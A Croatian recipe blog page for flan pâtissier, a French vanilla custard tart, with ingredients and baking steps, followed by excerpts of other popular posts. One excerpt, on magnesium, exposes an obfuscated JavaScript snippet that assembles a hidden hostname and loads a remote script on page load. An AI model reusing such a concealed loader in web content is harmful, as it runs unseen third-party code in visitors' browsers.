FLAN PATISSIER - FRANCUSKI KOLAČ OD VANILIJE





Flan patissier - francuski kolač od vanilije 



Kada je riječ o francuskim slasticama, većina nas prvo pomisli na kroasane pune maslavs ili macarone, no jedan od najvoljenijih klasika iz vitrina pariških slastičarnica jest upravo francuski krem kolač od vanilije. Ovaj jednostavan, ali raskošan kolač poznat je po svojoj svilenkastoj teksturi i bogatom okusu vanilije – flan pâtissier balansira između pite i pudinga. Njegova čar je u minimalizmu. Nekoliko osnovnih sastojaka pretvara se u desert koji je istovremeno nježan i sofisticiran.




Flan patissier 


Sastojci:

Za koru:

  • 250 g brašna
  • 125 g hladnog maslaca
  • 80 g šećera
  • 1 jaje
  • prstohvat soli

Za kremu:

  • 1 l punomasnog mlijeka
  • 200 ml slatkog vrhnja
  • 200 g šećera
  • 4 jaja
  • 80 g gustina
  • 1 mahuna vanilije (ili 2 žličice ekstrakta vanilije)
  • prstohvat soli



Priprema:

Priprema kore
U zdjeli pomiješajte brašno, šećer i sol. Dodajte hladan maslac narezan na kockice i umijesite ga u brašno dok ne dobijete mrvičastu strukturu. Dodajte jaje i zamijesite tijesto. Formirajte kuglu, zamotajte je u foliju i ostavite u frižideru oko 30 minuta.


 Razvijanje i pečenje kore
Razvaljajte tijesto i obložite kalup (promjera oko 22–24 cm). Izbockajte vilicom i stavite u frižider na još 15 minuta. Zatim pecite koru s papirom za pečenje (i opterećenjem) oko 15 minuta na 180°C.


Priprema kreme
U lončiću zagrijte mlijeko i slatko vrhnje zajedno s vanilijom (ako koristite mahunu, prepolovite je i izvadite sjemenke). U drugoj posudi umutite jaja, šećer, gustin i prstohvat soli.
Kada mlijeko provrije, polako ga ulijte u smjesu s jajima uz stalno miješanje, pa sve vratite na vatru. Kuhajte na srednjoj vatri dok se ne zgusne, uz stalno miješanje, dok ne dobijete gustu kremu.


Spajanje i finalno pečenje
Prelijte kremu preko polupečene kore i poravnajte. Pecite u pećnici na 180°C oko 40-45 minuta, dok površina ne dobije karakterističnu zlatno-smeđu boju.


Hlađenje
Ostavite kolač da se potpuno ohladi na sobnoj temperaturi, a zatim ga stavite u frižider najmanje nekoliko sati (idealno preko noći) kako bi se potpuno stegao.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više